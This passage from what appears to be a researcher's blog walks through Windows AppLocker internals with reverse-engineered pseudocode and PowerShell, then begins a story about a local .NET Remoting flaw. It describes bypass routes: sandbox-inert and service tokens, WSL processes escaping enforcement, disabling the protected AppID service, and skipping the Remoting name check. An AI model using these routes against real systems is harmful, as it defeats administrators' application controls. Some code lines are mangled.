&AccessStatus) && AccessStatus == STATUS_ACCESS_DENIED) { return STATUS_ACCESS_DISABLED_BY_POLICY_OTHER; } return AccessStatus; } The code isn't very complex, first it builds a SECURITY_SUBJECT_CONTEXT structure manually from the access token passed in as a handle. It uses a policy pointer passed in to find the security descriptor it wants to use for the check. Finally a call is made to SeSrpAccessCheck requesting file execute access. If the check fails with an access denied error it gets converted to the AL specific policy error, otherwise any other success or failure is returned. The only thing we don't really know in this process is what the Policy value is and therefore what the security descriptor is. We could trace through the code to find how the Policy value is set , but sometimes it's just easier to breakpoint on the function of interest in a kernel debugger and dump the pointed at memory. Taking the debugging approach shows the following: Well, what do we have here? We've seen those first 4 characters before, it's the magic signature of the on-disk policy files from part 1. SeSrpAccessCheck is extracting a value from offset 16, which is used as an offset into the same buffer to get the security descriptor. Maybe the policy files already contain the security descriptor we seek? Writing some quick PowerShell I ran it on the Exe.AppLocker policy file to see the result: Success, the security descriptor is already compiled into the policy file! The following script defines two functions, Get-AppLockerSecurityDescriptor and Format-AppLockerSecurityDescriptor. Both take a policy file as input and returns either a security descriptor object or formatted representation: If we run Format-AppLockerSecurityDescriptor on the Exe.Applocker file we get the following output for the DACL (trimmed for brevity): - Type : AllowedCallback - Name : Everyone - Access: Execute|ReadAttributes|ReadControl|Synchronize - Condition: APPID://PATH Contains "%WINDIR%\*" - Type : AllowedCallback - Name : BUILTIN\Administrators - Access: Execute|ReadAttributes|ReadControl|Synchronize - Condition: APPID://PATH Contains "*" - Type : AllowedCallback - Name : Everyone - Access: Execute|ReadAttributes|ReadControl|Synchronize - Condition: APPID://PATH Contains "%PROGRAMFILES%\*" - Type : Allowed - Name : APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES - Access: Execute|ReadAttributes|ReadControl|Synchronize - Type : Allowed - Name : APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES - Access: Execute|ReadAttributes|ReadControl|Synchronize We can see we have two ACEs which are for the Everyone group and one for the Administrators group. This matches up with the default configuration we setup in part 1. The last two entries are just there to ensure this access check works correctly when run from an App Container. The most interesting part is the Condition field. This is a rarely used (at least for consumer version of the OS) feature of the security access checking in the kernel which allows a conditional expression evaluated to determine if an ACE is enabled or not. In this case we're seeing the SDDL format (documentation) but under the hood it's actually a binary structure. If we assume that the '*' acts as a globbing character then again this matches our rules, which let's remember: • Allow Everyone group access to run any executable under %WINDIR% and %PROGRAMFILES%. • Allow Administrators group to run any executable from anywhere. This is how AL's rules are enforced. When you configure a rule you specify a group, which is added as the SID in an ACE in the policy file's Security Descriptor. The ACE type is set to either Allow or Deny and then a condition is constructed which enforces the rule, whether it be a path, a file hash or a publisher. In fact let's add policy entries for a hash and publisher and see what condition is set for them. Download a new policy file from this link and run the Set-AppLockerPolicy command in an admin PowerShell console. Then re-run Format-ApplockerSecurityDescriptor: - Type : AllowedCallback - Name : Everyone - Access: Execute|ReadAttributes|ReadControl|Synchronize - Condition: (Exists APPID://SHA256HASH) && (APPID://SHA256HASH Any_of {#5bf6ccc91dd715e18d6769af97dd3ad6a15d2b70326e834474d952753 118c670}) - Type : AllowedCallback - Name : Everyone - Access: Execute|ReadAttributes|ReadControl|Synchronize - Flags : None - Condition: (Exists APPID://FQBN) && (APPID://FQBN >= {"O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\MICROSOFT® WINDOWS ® OPERATING SYSTEM\*", 0}) We can now see the two new conditional ACEs, for a SHA256 hash and the publisher subject name. Basically rinse and repeat as more rules and conditions are added to the policy they'll be added to the security descriptor with the appropriate ACEs. Note that the ordering of the rules are very important, for example Deny ACEs will always go first. I assume the policy file generation code correctly handles the security descriptor generation, but you can now audit it to make sure. While we now understand how the rules are enforced, where does the values for the condition, such as APPID://PATH come from? If you read the (poor) documentation about conditional ACEs you'll find these values are Security Attributes. The attributes can be either globally defined or assigned to an access token. Each attribute has a name, then a list of one or more values which can be strings, integers, binary blobs etc. This is what AL is using to store the data in the access check token. Let's go back a step and see what's going on with AiSetAttributesExe to see how these security attributes are generated. ### Setting Token Attributes The AiSetAttributesExe function takes 4 parameters: • A handle to the executable file. • Pointer to the current policy. • Handle to the primary token of the new process. • Handle to the token used for the access check. The code isn't doesn't look very complex, initially: NTSTATUS AiSetAttributesExe( PVOID Policy, HANDLE FileHandle, HANDLE ProcessToken, HANDLE AccessCheckToken) { PSECURITY_ATTRIBUTES SecAttr; AiGetFileAttributes(Policy, FileHandle, &SecAttr); NTSTATUS status = AiSetTokenAttributes(ProcessToken, SecAttr); if (NT_SUCCESS(status) && ProcessToken != AccessCheckToken) status = AiSetTokenAttributes(AccessCheckToken, SecAttr); return status; } All the code does it call AiGetFileAttributes, which fills in a SECURITY_ATTRIBUTES structure, and then calls AiSetTokenAttributes to set them on the ProcessToken and the AccessCheckToken (if different). AiSetTokenAttributes is pretty much a simple wrapper around the exported (and undocumented) kernel API SeSetSecurityAttributesToken which takes the generated list of security attributes and adds them to the access token for later use in the access check. The first thing AiGetFileAttributes does is query the file handle for it's full path, however this is the native path and takes the form \Device\Volume\Path\To\File. A path of this form is pretty much useless if you wanted to generate a single policy to deploy across an enterprise, such as through Group Policy. Therefore the code converts it back to a Win32 style path such as c:\Path\To\File. Even then there's no guarantee that the OS drive is C:, and what about wanting to have executables on USB keys or other removable drives where the letter could change? To give the widest coverage the driver also maintains a fixed list of "Macros" which look like Environment variable expansions. These are used to replace the OS drive components as well as define placeholders for removable media. We already saw them in use in the dump of the security descriptor with string components like "%WINDIR%". You can find a list of the macros here, but I'll reproduce them here: • %WINDIR% - Windows Folder. • %SYSTEM32% - Both System32 and SysWOW64 (on x64). • %PROGRAMFILES% - Both Program Files and Program Files (x86). • %OSDRIVE% - The OS install drive. • %REMOVABLE% - Removable drive, such a CD or DVD. • %HOT% - Hot-pluggable devices such as USB keys. Note that SYSTEM32 and PROGRAMFILES will map to either 32 or 64 bit directories when running on a 64 bit system (and presumably also ARM directories on ARM builds of Windows?). If you want to pick a specific directory you'll have to configure the rules to not use the macros. To hedge its bets AL puts every possible path configuration, native path, Win32 path and all possible macroed paths as string values in the APPID://PATH security attribute. AiGetFileAttributes continues, gathering the publisher information for the file. On Windows 10 the signature and certificate checking is done in multiple ways, first checking the kernel Code Integrity module (CI), then doing some internal work and finally falling back to calling over RPC to the running APPIDSVC. The information, along with the version number of the binary is put into the APPID://FQBN attribute, which stands for Fully Qualified Binary Name. The final step is generating the file hash, which is stored in a binary blob attribute. AL supports three hash algorithms with the following attribute names: • APPID://SHA256HASH - Authenticode SHA256. • APPID://SHA1HASH - Authenticode SHA1 • APPID://SHA256FLATHASH - SHA256 over entire file. As the attributes are applied to both tokens we should be able to see them on the primary token of a normal user process. By running the following PowerShell command we can see the added security attributes on the current process token. PS>$(Get-NtToken).SecurityAttributes | ? Name -Match APPID

Name       : APPID://PATH
ValueType  : String
Flags      : NonInheritable, CaseSensitive
Values     : {
%SYSTEM32%\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE,
%WINDIR%\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE,
...}

Name       : APPID://SHA256HASH
ValueType  : OctetString
Flags      : NonInheritable
Values     : {133 66 87 106 ... 85 24 67}

Name       : APPID://FQBN
ValueType  : Fqbn
Flags      : NonInheritable, CaseSensitive
Values     : {Version 10.0.18362.1 - O=MICROSOFT CORPORATION, ... }

Note that the APPID://PATH attribute is always added, however APPID://FQBN and APPID://*HASH are only generated and added if there are rules which rely on them.

### The Mystery of the Twin Tokens

We've come to the final stage, we now know how the security attributes are generated and applied to the two access tokens. The question now is why is there two tokens, the process token and one just for access checking?

Everything happens inside AiGetTokens, which is shown in a simplified form below:

NTSTATUS AiGetTokens(HANDLE ProcessId,

PHANDLE ProcessToken,

PHANDLE AccessCheckToken)

{

AiOpenTokenByProcessId(ProcessId, &TokenHandle);

NTSTATUS status = STATUS_SUCCESS;
*Token = TokenHandle;
if (!AccessCheckToken)
return STATUS_SUCCESS;

BOOL IsRestricted;
status = ZwQueryInformationToken(TokenHandle, TokenIsRestricted, &IsRestricted);
DWORD ElevationType;
status = ZwQueryInformationToken(TokenHandle, TokenElevationType,
&ElevationType);

HANDLE NewToken = NULL;
if (ElevationType != TokenElevationTypeFull)
&NewToken);

if (!IsRestricted
|| NT_SUCCESS(status)
|| (status = SeGetLogonSessionToken(TokenHandle, 0,
&NewToken), NT_SUCCESS(status))
|| status == STATUS_NO_TOKEN) {
if (NewToken)
*AccessCheckToken = NewToken;
else
*AccessCheckToken = TokenHandle;
}

return status;
}

Let's summarize what's going on. First, the easy one, the ProcessToken handle is just the process token opened from the process, based on its PID. If the AccessCheckToken is not specified then the function ends here. Otherwise the AccessCheckToken is set to one of three values
1. If the token is a non-elevated (UAC) token then use the full elevated token.
2. If the token is 'restricted' and not a UAC token then use the logon session token.
3. Otherwise use the primary token of the new process.
We can now understand why a non-elevated UAC admin has Administrator rules applied to them. If you're running as the non-elevated user token then case 1 kicks in and sets the AccessCheckToken to the full administrator token. Now any rule checks which specify the Administrators group will pass.

Case 2 is also interesting, a "restricted" token in this case is one which has been passed through the CreateRestrictedToken API and has restricted SIDs attached. This is used by various sandboxes especially Chromium's (and by extension anyone who uses it such as Firefox). Case 2 ensures that if the process token is restricted and therefore might not pass the access check, say the Everyone group is disabled, then the access check is done instead against the logon session's token, which is the master token from which all others are derived in a logon session.

If nothing else matches then case 3 kicks in and just assigns the primary token to the AccessCheckToken. There are edges cases in these rules. For example you can use CreateRestrictedToken to create a new access token with disabled groups, but which doesn't have restricted SIDs. This results in case 2 not being applied and so the access check is done against the limited token which could very easily fail to validate causing the process to be terminated.

There's also a more subtle edge case here if you look back at the code. If you create a restricted token of a UAC admin token then process creation typically fails during the policy check. When the UAC token is a full admin token the second call to ZwQueryInformationToken will not be made which results in NewToken being NULL. However in the final check, IsRestricted is TRUE so the second condition is checked, as status is STATUS_SUCCESS (from the first call to ZwQueryInformationToken) this passes and we enter the if block without ever calling SeGetLogonSessionToken. As NewToken is still NULL AccessCheckToken is set to the primary process token which is the restricted token which will cause the subsequent access check to fail. This is actually a long standing bug in Chromium, it can't be run as UAC admin if AppLocker is enforced.

That's the end of how AL does process enforcement. Hopefully it's been helpful. Next time I'll dig into how DLL enforcement works.

### Locking Resources to Specific Processes

Before we go, here's a silly trick which might now be obvious. Ever wanted to restrict access to resources, such as files, to specific processes? With the AL applied security attributes now you can. All you need to do is apply the same conditional ACE syntax to your file and the kernel will do the enforcement for you. For example create the text file C:\TEMP\ABC.TXT, now to only allow notepad to open it do the following in PowerShell:

Set-NtSecurityDescriptor \??\C:\TEMP\ABC.TXT 
-SecurityInformation Dacl

Make sure that the path is in all upper case. You should now find that while PowerShell (or any other application) can't open the text file you can open and modify it just fine in notepad. Of course this won't work across network boundaries and is pretty easy to get around, but that's not my problem ;-)

# The Internals of AppLocker - Part 2 - Blocking Process Creation

18 November 2019 at 06:06
This is part 2 in a short series on the internals of AppLocker (AL). Part 1 is here, part 3 here and part 4 here.

In the previous blog post I briefly discussed the architecture of AppLocker (AL) and how to setup a really basic test system based on Windows 10 1909 Enterprise. This time I'm going to start going into more depth about how AL blocks the creation of processes which are not permitted by policy. I'll reiterate in case you've forgotten that what I'm describing is the internals on Windows 10 1909, the details can and also certainly are different on other operating systems.

### How Can You Block Process Creation?

When the APPID driver starts it registers a process notification callback with the PsSetCreateProcessNotifyRoutineEx API. A process notification callback can return an error code by assigning to the CreationStatus field of the PS_CREATE_NOTIFY_INFO structure to block process creation. If the kernel detects a callback setting an error code then the process is immediately terminated by calling PsTerminateProcess.

An interesting observation is that the process notification callback is NOT called when the process object is created. It's actually called when the first thread is inserted into the process. The callback is made in the context of the thread creating the new thread, which is usually the thread creating the process, but it doesn't have to be. If you look in the PspInsertThread function in the kernel you'll find code which looks like the following:

// ...
if (!Process->Flags3.Minimal || Process->PicoContext)
PspCallProcessNotifyRoutines(Process);
}

This code first increments the active thread count for the process. If the current count is 1 then a flag is set for use later in the function. Further on the call is made to PspCallProcessNotifyRoutines to invoke the registered callbacks, which is where the APPID callback will be invoked.

The fact the callback seems to be called at process creation time is due to most processes being created using NtCreateUserProcess which does both the process and the initial thread creation as one operation. However you could call NtCreateProcessEx to create a new process and that will be successful, just, in theory, you could never insert a thread into it without triggering the notification. Whether there's a race condition here, where you could get ActiveThreadCount to never be 1 I wouldn't like to say, almost certainly there's a process lock which would prevent it.

The behavior of blocking process creation after the process has been created is the key difference between WDAC and AL. WDAC prevents the creation of any executable code which doesn't meet the defined policy, therefore if you try and create a process with an executable file which doesn't match the policy it'll fail very early in process creation. However AL will allow you to create a process, doing many of the initialization tasks, and only once a thread is inserted into the process will the rug be pulled away.

The use of the process notification callback does have one current weakness, it doesn't work on Windows Subsystem for Linux processes. And when I say it doesn't work the APPID callback never gets invoked, and as process creation is blocked by invoking the callback this means any WSL process will run unmolested.

It isn't anything to do with the the checks for Minimal/PicoContext in the code above (or seemingly due to image formats as Alex Ionescu mentioned in his talk on WSL although that might be why AL doesn;t even try), but it's due to the way the APPID driver has enabled its notification callback. Specifically APPID calls the PsSetCreateProcessNotifyRoutineEx method, however this will not generate callbacks for WSL processes. Instead APPID needs to use PsSetCreateProcessNotifyRoutineEx2 to get callbacks for WSL processes. While it's probably not worth MS implementing actual AL support for WSL processes I'm surprised they don't give an option to block outright rather than just allowing anything to run.

### Why Does AppLocker Decide to Block a Process?

We now know how process creation is blocked, but we don't know why AL decides a process should be blocked. Of course we have our configured rules which much be enforced somehow. Each rule consists of three parts:
1. Whether the rule allows the process to be created or whether it denies creation.
2. The User or Group the rule applies to.
3. The property that the rule checks for, this could be an executable path, the hash of the executable file or publisher certificate and version information. A simple path example is "%WINDIR%\*" which allows any executable to run as long as it's located under the Windows Directory.
Let's dig into the APPID process notification callback, AiProcessNotifyRoutine, to find out what is actually happening, the simplified code is below:

void AiProcessNotifyRoutine(PEPROCESS Process,
HANDLE ProcessId,
PPS_CREATE_NOTIFY_INFO CreateInfo) {
PUNICODE_STRING ImageFileName;
if (CreateInfo->FileOpenNameAvailable)
ImageFileName = CreateInfo->ImageFileName;
else
SeLocateProcessImageName(Process,
&ImageFileName);

CreateInfo->CreationStatus = AipCreateProcessNotifyRoutine(
ProcessId, ImageFileName,
CreateInfo->FileObject,
Process, CreateInfo);
}

The first thing the callback does is extract the path to the executable image for the process being checked. The PS_CREATE_NOTIFY_INFO structure passed to the callback can contain the image file path if the FileOpenNameAvailable flag is set. However there are situations where this flag is not set (such as in WSL) in which case the code gets the path using SeLocateProcessImageName. We know that having the full image path is important as that's one of the main selection criteria in the AL rule sets.

The next call is to the inner function, AipCreateProcessNotifyRoutine. The returned status code from this function is assigned to CreationStatus so if this function fails then the process will be terminatedThere's a lot going on in this function, I'm going to simplify it as much as I can to get the basic gist of what's going on while glossing over some features such as AppX support and Smart Locker (though they might come back in a later blog post). For now it looks like the following:

NTSTATUS AipCreateProcessNotifyRoutine(
HANDLE ProcessId,
PUNICODE_STRING ImageFileName,
PFILE_OBJECT ImageFileObject,
PVOID Process,
PPS_CREATE_NOTIFY_INFO CreateInfo) {

POLICY* policy = SrpGetPolicy();
if (!policy)
return STATUS_ACCESS_DISABLED_BY_POLICY_OTHER;

HANDLE ProcessToken;
HANDLE AccessCheckToken;

AiGetTokens(ProcessId, &ProcessToken, &AccessCheckToken);

if (AiIsTokenSandBoxed(ProcessToken))
return STATUS_SUCCESS;

BOOLEAN ServiceToken = SrpIsTokenService(ProcessToken);
if (SrpServiceBypass(Policy, ServiceToken, 0, TRUE))
return STATUS_SUCCESS;

HANDLE FileHandle;
AiOpenImageFile(ImageFileName,
ImageFileObject,
&FileHandle);
AiSetAttributesExe(Policy, FileHandle,
ProcessToken, AccessCheckToken);

NTSTATUS result = SrppAccessCheck(
AccessCheckToken,
Policy);

if (!NT_SUCCESS(result)) {
AiLogFileAndStatusEvent(...);
if (Policy->AuditOnly)
result = STATUS_SUCCESS;
}

return result;
}

A lot to unpack here, be we can start at the beginning. The first thing the code does is request the current global policy object. If there doesn't exist a configured policy then the status code STATUS_ACCESS_DISABLED_BY_POLICY_OTHER is returned. You'll see this status code come up a lot when the process is blocked. Normally even if AL isn't enabled there's still a policy object, it'll just be configured to not block anything. I could imagine if somehow there was no global policy then every process creation would fail, which would not be good.

Next we get into the core of the check, first with a call to the function AiGetTokens. This functions opens a handle to the target process' access token based on its PID (why it doesn't just use the Process object from the PS_CREATE_NOTIFY_INFO structure escapes me, but this is probably just legacy code). It also returns a second token handle, the access check token, we'll see how this is important later.

The code then checks two things based on the process token. First it checks if the token is AiIsTokenSandBoxed. Unfortunately this is badly named, at least in a modern context as it doesn't refer to whether the token is a restricted token such as used in web browser sandboxes. What this is actually checking is whether the token has the Sandbox Inert flag set. One way of setting this flag is by calling CreateRestrictedToken passing the SANDBOX_INERT flag. Since Windows 8, or Windows with KB2532445 installed the "caller must be running as LocalSystem or TrustedInstaller or the system ignores this flag" according to the documentation. The documentation isn't entirely correct on this point, if you go and look at the implementation in NtFilterToken you'll find you can also set the flag if you're have the SERVICE SID, which is basically all services regardless of type. The result of this check is if the process token has the Sandbox Inert flag set then a success code is returned and AL is bypassed for this new process.

The second check determines if the token is a service token, first calling SrpIsTokenService to get a true or false value, then calls SrpServiceBypass to determine if the current policy allows service tokens to bypass the policy as well. If SrpServiceBypass returns true then the callback also returns a success code bypassing AL. However it seems it is possible to configure AL to enforce process checks on service processes, however I can't for the life of me find the documentation for this setting. It's probably far too dangerous a setting to allow the average sysadmin to use.

What's considered a service context is very similar to setting the Sandbox Inert flag with CreateRestrictedToken. If you have one of the following groups in the process token it's considered a service:

NT AUTHORITY\SYSTEM
NT AUTHORITY\SERVICE
NT AUTHORITY\RESTRICTED
NT AUTHORITY\WRITE RESTRICTED

The last two groups are only used to allow for services running as restricted or write restricted. Without them access would not be granted in the service check and AL might end being enforced when it shouldn't.

With that out of the way, we now get on to the meat of the checking process. First the code opens a handle to the main executable's file object. Access to the file will be needed if the rules such as hash or publisher certificate are used. It'll open the file even if those rules are being used, just in case. Next a call is made to AiSetAttributesExe which takes the access token handles, the policy and the file handle. This must do something magical, but being the tease I am we'll leave this for now.  Finally in this section a call is made to SrppAccessCheck which as its name suggests is doing the access check again the policy for whether this process is allowed to be created. Note that only the access check token is passed, not the process token.

The use of an access check, verifying a Security Descriptor against an Access Token makes perfect sense when you think of how rules are structured. The allow and deny rules correspond well to allow or deny ACEs for specific group SIDs. How the rule specification such as path restrictions are enforced is less clear but we'll leave the details of this for next time.

The result of the access check is the status code returned from AipCreateProcessNotifyRoutine which ends up being set to the CreationStatus field in the notification structure which can terminate the process. We can assume that this result will either be a success or an error code such as STATUS_ACCESS_DISABLED_BY_POLICY_OTHER.

One final step is necessary, logging an event if the access check failed. If the result of the access check is an error, but the policy is currently configured in Audit Only mode, i.e. not enforcing AL process creation then the log entry will be made but the status code is reset back to a success so that the kernel will not terminate the process.

### Testing System Behavior

Before we go let's test the behavior that we can create a process which is against the configured policy, as long as there's no threads in it. This is probably not a useful behavior but it's always good to try and verify your assumptions about reverse engineered code.

To do the test we'll need to install my NtObjectManager PowerShell module. We'll use the module more going forward so might as well install it now. To do that follow this procedure on the VM we setup last time:
1. In an administrator PowerShell console, run the command 'Install-Module NtObjectManager'. Running this command as an admin allows the module to be installed in Program Files which is one of the permitted locations for Everyone in part 1's sample rules.
2. Set the system execution policy to unrestricted from the same PowerShell window using the command 'Set-ExecutionPolicy -ExecutionPolicy Unrestricted'. This allows unsigned scripts to run for all users.
4. Start a PowerShell console and ensure you can load the NtObjectManager module by running 'Import-Module NtObjectManager'. You shouldn't see any errors.
From part 1 you should already have an executable in the Desktop folder which if you run it it'll be blocked by policy (if not copy something else to the desktop, say a copy of NOTEPAD.EXE).

Now run the following three commands in the PowerShell windows. You might need to adjust the executable path as appropriate for the file you copied (and don't forget the \?? prefix).

$path = "\??\C:\Users\$env:USERNAME\Desktop\notepad.exe"
$sect = New-NtSectionImage -Path$path
$p = [NtApiDotNet.NtProcess]::CreateProcessEx($sect)
Get-NtStatus $p.ExitStatus After the call to Get-NtStatus it should print that the current exit code for the process is STATUS_PENDING. This is an indication that the process is alive, although at the moment we don't have any code running in it. Now create a new thread in the process using the following: [NtApiDotNet.NtThread]::Create($p00"Suspended"4096)
Get-NtStatus $p.ExitStatus After calling NtThread::Create you should receive an big red exception error and the call to Get-NtStatus should now show that the process returned error. To make it more clear I've reproduced the example in the following screenshot: That's all for this post. Of course there's still a few big mysteries to solve, why does AiGetTokens return two token handles, what is AiSetAttributesExe doing and how does SrppAccessCheck verify the policy through an access check? Find out next time. # The Internals of AppLocker - Part 1 - Overview and Setup 16 November 2019 at 17:16 This is part 1 in a short series on the internals of AppLocker (AL). Part 2 is here, part 3 here and part 4 here. AppLocker (AL) is a feature added to Windows 7 Enterprise and above as a more comprehensive application white-listing solution over the older Software Restriction Policies (SRP). When configured it's capable of blocking the creation of processes using various different rules, such as the application path as well as optionally blocking DLLs, script code, MSI installers etc. Technology wise it's slowly being replaced by the more robust Windows Defender Application Control (WDAC) which was born out of User Mode Code Integrity (UMCI), however at the moment AL is still easier to configure in an enterprise environment. It's considered a "Defense in Depth" feature according to MSRC's security servicing criteria so unless you find a bug which gives you EoP or RCE it's not something Microsoft will fix with a security bulletin. It's common to find documentation on configuring AL, even in bypassing it (see for example Oddvar Moe's case study series from his website) however the inner workings are usually harder to find. Some examples of documentation which go some way towards documenting AL internals that I could find are: However even these articles don't really give the full details. Therefore, I thought I'd dig a little deeper into some of the inner workings of AL, specifically focusing on the relationship between user access tokens and the applied rules. I'm not going to talk about configuration (outside of a quick setup for demonstration purposes) and I'm not really going to talk about bypasses. However, I will also pass on some dumb tricks you can do with an AL configured system which might be "bypass-like". Also note that this is documenting the behavior on Windows 10 1909 Enterprise. The internals might and almost certainly are different on other versions of Windows. Let's start with a basic overview of the various components and give a super quick setup guide for a basic AL enabled Windows 10 1909 Enterprise installation so that we can try things out in subsequent parts. ### Component Overview AL uses a combination of a kernel driver (APPID.SYS) and user mode service (APPIDSVC). The introduction of kernel code is what distinguishes it from the old SRP which was entirely enforced in user mode, and so wasn't too difficult to bypass. The kernel driver's primary role is to handle blocking process creation through a Process Notification Callback as well as provide some general services. The user mode service on the other hand is more of a helper to do things which are difficult or impractical in the kernel, such as comprehensive code signature verification. That said looking at the implementation I think the majority could be done entirely in kernel mode considering that's what the Code Integrity (CI) module already does. For DLL, Script and MSI enforcement various user-mode components access the SAFER APIs to determine whether code should run. The SAFER APIs might then call into the kernel driver or into the service over RPC depending on what it needs to do. I've summarized the various links in the following diagram. ### Setting up a Test System I started by installing Windows 10 1909 Enterprise from an MSDN ISO. If you don't have MSDN access you get a trial Dev Environment VM from Microsoft which runs Windows 10 Enterprise. At the time of writing it's only 1903, but that's probably good enough, you should even be able to update to 1909 if you so desire. Then follow the next steps: 1. Startup the VM and login as an administrator, then run an admin PowerShell console. 2. Download the Default AppLocker Policy file from GitHub and save it as policy.xml. 3. Run the PowerShell command "Set-AppLockerPolicy -XmlPolicy policy.xml". 4. Run the command "sc.exe config appidsvc start= auto". 5. Reboot the VM. This will install a simple default policy then enables the Application Identity Service. The policy is as follows: • EXE Rules • Allow Everyone group access to run any executable under %WINDIR% and %PROGRAMFILES%. • Allow Administrators group to run any executable from anywhere. • DLL Rules • Allow Everyone group access to load any DLL under %WINDIR% and %PROGRAMFILES%. • Allow Administrators group to load a DLL from anywhere. • APPX Rules (Packages Applications, think store applications) • Allow Everyone to load any signed, packaged application . Of course these rules are terrible and no one should actually use them, I've just presented them for the purposes of this blog post series. Where is the policy configuration stored? There's some data in the registry, but the core of the policy configuration is stored the directory %WINDIR%\SYSTEM32\APPLOCKER, separated by type. For example the executable configuration is in EXE.APPLOCKER, the other names should be self explanatory. When the files in this directory are modified a call is made to the driver to reload the policy configuration. If we take a look at one of these files in a hex editor you'll find they're nothing like the XML policy we put in (as shown below), we'll come back to what these files actually contain in part 3 of this blog series. Once you reboot the VM the service will be running and AL will now be enforced. If you login with the administrator again and copy an executable to their Desktop folder, a location not allowed by policy, and run the executable you'll find, it works... You might think this makes sense generally, the user is an administrator which should be allowed to execute everything from anywhere, however the default administrator is a UAC split token admin, so the default "user" wouldn't have the Administrators group and so shouldn't be allowed to run code from anywhere? We'll get back to why this works in part 3. To check AL is working create a new user (say using the New-LocalUser PowerShell command) and do not assign them to the local administrators group. Login as the new user and try copying and running the executable on the desktop again. You should be greeted with a suitable error dialog. It should be noted that even if you just enable the APPID driver AL won't be enforced, the service needs to be running for everything to be correctly enabled. You might assume you can just disable the service as an administrator and turn off AL trivially? Well about that... C:\> sc.exe config appidsvc start= demand [SC] ChangeServiceConfig FAILED 5: Access is denied. Seems you can't reconfigure the service back to demand start (its initial start mode) once you've auto started it. The answer to why you're given access denied is simple: C:\> sc.exe qprotection appidsvc [SC] QueryServiceConfig2 SUCCESS SERVICE appidsvc PROTECTION LEVEL: WINDOWS LIGHT. On Windows 10 (I've not checked 8.1) the AppID service runs as PPL. This means the Service Control Manager (SCM) prevents "normal" administrators from tampering with the service, such as disabling it or stopping it. I really don't see why Microsoft did this, there's SO many different ways to compromise AppLocker's function as an administrator it's not funny, disabling the service should presumably be the least of your worries. Oh well, of course in this case if you really must disable the service at run time you can use the Task Scheduler trick I showed in September to run some commands as TrustedInstaller, which happens to be a backdoor into the SCM. Try running the following PowerShell script as an administrator: That's all for now, in part 2 we'll dig into how the Executable enforcement works under the hood. # The Ethereal Beauty of a Missing Header 6 November 2019 at 08:40 Skip to the end if you don't want to listen to me regaling you with a mostly made up story :-) It was a dark and stormy night, as cliches goes you might as well go with a classic. With little else to occupy my time I booted my PC and awoke my trusted companion Wireshark (née Ethereal) and look what communications were being lost to time due to the impermanence of localhost. Hey, don't judge me, I wrote a book on it remember? Observing the pastel shaded runes flashing before my eyes I divined a new understanding of that which remains hidden from a mortal's gaze. As if a metaphor for our existence I observed the BITS service shouting into void, desperately trying to ask a question of the WinRM service that will never be answered. In an instant something else caught my eye, unrelated to the intelligence or lack thereof of data transfers. As the hex flickered across my screen I realized in horror what it was; it's grim visage staring at me like some horrible ghost of the past. What I saw both repulsed and excited me, here was something I could reason about: Those three little characters, .NET, reverberated in my mind, almost as if the computer was repeating a forbidden soliloquy on the assumption it wouldn't be overheard. Here in the year, 2019, I shouldn't expect to read such a subversive codex as this. What malfeasance had my Operating System undertaken to spout such vulgar prose. It was a horrible night to find the .NET Remoting protocol. It's said [citation needed], "Eternal damnation is reserved for evil people and developers who use insecure deprecated technologies," if such a distinction could be made between the two. Whomever was not paying attention to MSDN was clearly up to no good. I made the decision to track down the source of this abomination and bring them to justice. As with all high crimes, evidence of misdeeds is meaningless without suspects; assuming the perpetrator was still around I did what all good detectives do, used my position of authority (an Admin Command Prompt) and interrogated every shifty character who was hanging around the local neighborhood. Or at least I looked up the listening TCP ports using netstat with the -b switch to print the guilty party. Two suspects came immediately to light: C:\> netstat -p TCP -nqb .... TCP 127.0.0.1:51889 0.0.0.0:0 LISTENING [devenv.exe] TCP 127.0.0.1:51890 0.0.0.0:0 LISTENING [Microsoft.Alm.Shared.Remoting.RemoteContainer.dll] Caught red-handed, I moved in to apprehend them. Unfortunately, devenv (records indicate is an alias for Mr Visual Studio 2017 Esp, a cad of some notoriety) was too unwieldy to subdue. However his partner in crime was not so blessed and easily fell within my clutches. Dragging him back to the (work)station I subjected the rogue, whom I nicknamed Al due to his long, unpronounceable name, to a thorough interrogation. He easily confessed his secrets, with application of a bit of decompilation, part of which I've reproduced below for the edification of the reader: public static IRemotingChannel RegisterRemotingChannel( string portName) { var sinkProvider = new BinaryServerFormatterSinkProvider { TypeFilterLevel = TypeFilterLevel.Full }; var properties = new Dictionary<string, object> { { "name", portName }, { "port", 0 }, { "rejectRemoteRequests", true } }; var channel = new TcpServerChannel(properties, sinkProvider); return new RemotingChannel(channel, () => channel.GetChannelUri()); } Of course, the use of .NET Remoting had Al bang to rights, but even if a judge decided that wasn't sufficient of crime I could also charge him with using a TCP channel with no authentication and enabling a Full Type Filter mode. I asked Al to explain himself, so speaking in a cod, 18th Century Cockney accent (even though his identification was clearly of a man from the west coast of the United States of America) he tried to do so: Moi: Didn't you know what you were doing was a crime against local security? Al: Sure Guv'na, but devy told me that'd his bleedin' plan couldn't be exploited? M: In what way did your mate 'devy' claim such a thing was possible? A: Well for one, we'd not set a pre-agreed port to talk to us on. [Presumably referring to the use of port '0' which automatically allocates a random port]. M: But I found your port, it wasn't hard to do as I could hear you talking between yourselves. Surely he had a better plan that? A: Well, we don't trust the scum from outside the neighborhood, we only trusted people locally. [This was the meaning of rejectRemoteRequests which ensures it only bind the port to localhost]. M: I'm surprised you trust everyone locally? What about other ne'er-do-wells logged on to the same machine but in different sessions? A: See coppa' we thought of that, in order to talk to me or devy you'd need to know our secret code word, without that you ain't gettin' nowt. [the portName presumably]. This final answer stumped me, sure they weren't authenticating each other but at least if the code word was unguessable it'd be hard to exploit them. Further investigation indicated their secret code word was a randomly generated Globally Unique Identifier which would be almost impossible to forge. Maybe I'd have to let Al free after all? But something gnawed at me, neither Al or Devy were very bright, there must be more to this story. After further pressing, Al confessed that he never remembered the code word, and instead had a friend, BinaryServerFormatterSink (Binny to those in a similar trade) verify it for them using the following check: string objectUri = wkRequestHeaders.RequestUri; if (objectUri != lastUri && RemotingServices.GetServerTypeForUri(objectUri) == null) throw new RemotingException(); lastUri = objectUri; I realized that'd I'd got him. Binny was lazy, he remembered the last code word (lastUri) he'd been given and stored it away for safekeeping . If no one had ever talked to Al before then Binny didn't yet know the code word, you couldn't given him a random one but if you don't give him a code word at all then lastUri would equal objectUri because both were set to null. This whole scheme had come 